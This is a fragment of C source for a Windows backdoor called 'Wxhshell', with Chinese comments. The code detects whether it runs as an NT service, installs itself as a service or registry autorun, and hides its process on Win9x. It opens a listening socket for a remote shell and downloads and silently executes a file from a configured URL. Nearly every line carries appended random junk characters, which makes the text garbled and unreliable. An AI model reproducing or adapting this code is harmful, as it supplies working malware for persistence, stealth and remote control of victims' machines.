ULONG InheritedFromUniqueProcessId; DJP)V8]!B
} PROCESS_BASIC_INFORMATION; ~.7r
Y}%=:Yt
PROCNTQSIP NtQueryInformationProcess; Q`}1 B
52K_kB5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EeC5HgIU'C
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "mr;!"LA
#!0le:_
HANDLE hProcess; \TqKm
PROCESS_BASIC_INFORMATION pbi; T(%U$ea-S
3OTq
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FC+K2Yf1=0
if(NULL == hInst ) return 0; ~Q%C>
#?L%M
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :[P>e
ox
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T )
T0.c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?-[.H^]s~
'eg?W_zu
if (!NtQueryInformationProcess) return 0; &g;4;)p*8
7bOL ,S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \
a18Hp|%
if(!hProcess) return 0; 1~NXCIdF
) '"@L7U
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WzYy<
L9[? qFp
CloseHandle(hProcess); ]X/1u"
(NrH)+)J!a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IBm&a^
if(hProcess==NULL) return 0; :c%vl$
//*>p
HMODULE hMod; @q2If{Tk
char procName[255]; ] >-#T
unsigned long cbNeeded; %tiFx:F+
HI6;=~[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q|Uq.UjY
Q| >
\{M
CloseHandle(hProcess); Wo=Q7~
Rr+Y::E
if(strstr(procName,"services")) return 1; // 以服务启动 KY$6=/?U_
mwLp~z%OX
return 0; // 注册表启动 Kt3/C'zu
} *L>gZ`Q
`~Nd4EA)2
// 主模块 =;Gy"F1 dp
int StartWxhshell(LPSTR lpCmdLine) "pTyQT9P
{ "Wd?U[[
SOCKET wsl; C'3/B)u}l
BOOL val=TRUE; tAH,3Sz( /
int port=0;
N6H/J_:
struct sockaddr_in door; NFTEp0eP
:9!?${4R
if(wscfg.ws_autoins) Install(); ]p>6r*/nw
{:M5t1^UC
port=atoi(lpCmdLine); `vWFTv
xq1=O
if(port<=0) port=wscfg.ws_port; u1d{|fF
|Q2H^dU'rQ
WSADATA data; &z;F'>"
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h7mJXS)t|
bAv>?Xqa
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (@Q@B%!!K
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3#vhQ*xU
door.sin_family = AF_INET; fhlhlOg
door.sin_addr.s_addr = inet_addr("127.0.0.1"); zOkU R9
door.sin_port = htons(port); _uU}J5d.
;i|V++$_
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !Tuc#yFw
closesocket(wsl); |pk1pV |
return 1; Mo`7YS-Y
} GGHe{l
l%]S7|PKx
if(listen(wsl,2) == INVALID_SOCKET) { l%@>)%LA
closesocket(wsl); Z'iXuI49
return 1; +4U ?*:n
} sS#Lnj^`%
Wxhshell(wsl); !X721lNP
WSACleanup(); f6n'g:&.W
$8#zPJR&
return 0; -Gjz;/s%XH
Enr8"+.(
} Qm86!(eZ-
ek6PMZF:'
// 以NT服务方式启动 sp*_;h3'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w]Z*"B&h
{ 3uA%1
E
DWORD status = 0; . zf#S0y%(
DWORD specificError = 0xfffffff; aV3:wp]Gn
`PK1zSr
serviceStatus.dwServiceType = SERVICE_WIN32; T^YdAQeE
serviceStatus.dwCurrentState = SERVICE_START_PENDING; iW\cLp "
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <}x_F)E[t
serviceStatus.dwWin32ExitCode = 0; eglcf z%
serviceStatus.dwServiceSpecificExitCode = 0; A+i|zo5p=k
serviceStatus.dwCheckPoint = 0; =9@{U2 =l
serviceStatus.dwWaitHint = 0; 3n-~+2l
9fR`un)f}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >-fOkOWXy
if (hServiceStatusHandle==0) return; vL~nJv
- `^594
status = GetLastError(); P}B{FIpNG
if (status!=NO_ERROR) /-BKdkBCpZ
{ Ia-`x/r*m
serviceStatus.dwCurrentState = SERVICE_STOPPED; h ,;f6
serviceStatus.dwCheckPoint = 0; ?h)Z ;,}
serviceStatus.dwWaitHint = 0; v:0.
serviceStatus.dwWin32ExitCode = status; ~_^#/BnAl
serviceStatus.dwServiceSpecificExitCode = specificError; H(bR@Qok
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pj?wQ'
return; z^s/7Va[
} J
WaI[n}
A?I/[zkc
serviceStatus.dwCurrentState = SERVICE_RUNNING; g/Q hI
serviceStatus.dwCheckPoint = 0; ]#>;C: L
serviceStatus.dwWaitHint = 0; 8$</HNu,
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z%_"-ENT
} [>l2E
QTX5F5w
// 处理NT服务事件,比如:启动、停止 w~EBm=v_>
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1"k"<{%
{ ir^%9amh
switch(fdwControl) g_8Bhe"ik
{ ;w,+x 7
case SERVICE_CONTROL_STOP: 8nn%wps
serviceStatus.dwWin32ExitCode = 0; .*+?]
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Qja|;
serviceStatus.dwCheckPoint = 0; CD|)TXy
serviceStatus.dwWaitHint = 0; PMPB}-d
{ .{U@Hva_K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?CSc5b`eo
} gaeMcL_^a
return; 8!87p?Mz
case SERVICE_CONTROL_PAUSE: }c/p+Wo
serviceStatus.dwCurrentState = SERVICE_PAUSED; Uz(Sv:G
break; 6^
UQ{P1;
case SERVICE_CONTROL_CONTINUE: 6;rJIk@Fx=
serviceStatus.dwCurrentState = SERVICE_RUNNING; z3RD*3b
break; U1zcJl^
case SERVICE_CONTROL_INTERROGATE: m]t`;lr<
break; P~Ss\PT
}; 4LY
kK/:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -yKx"Q9F
} yhnhORSY;
6
6S
I
// 标准应用程序主函数 E#'JYz@
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8BP.VxX
{ Ak(_![Q:q\
>jI(^8?
// 获取操作系统版本 \va'>?#o1
OsIsNt=GetOsVer(); ('yBIb\ue
GetModuleFileName(NULL,ExeFile,MAX_PATH); MVe:[=VOT|
1&\ A#
// 从命令行安装 Fy(-.S1
if(strpbrk(lpCmdLine,"iI")) Install(); iU3GUsPy
yU"pU>fV@
// 下载执行文件 AC*>
f&
if(wscfg.ws_downexe) { }"k+e^0^
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )*j>g38?
WinExec(wscfg.ws_filenam,SW_HIDE);
r334E
} x3cno#
f0UB?
|
if(!OsIsNt) { mI5BJ
// 如果时win9x,隐藏进程并且设置为注册表启动 QU0FeGtz
HideProc(); ]&l.-0jt
StartWxhshell(lpCmdLine); J=QuZwt
} 2M`]nAk2a
else ?LE\pk
R
if(StartFromService()) %6-5hBzZN
// 以服务方式启动 b5r.N1ms
StartServiceCtrlDispatcher(DispatchTable); %"#%/>U4
else {Dv^j#
// 普通方式启动 5LJUD>f9Z
StartWxhshell(lpCmdLine); L< 3U)Gp
4x8e~/
return 0; 1;O%8sp&
}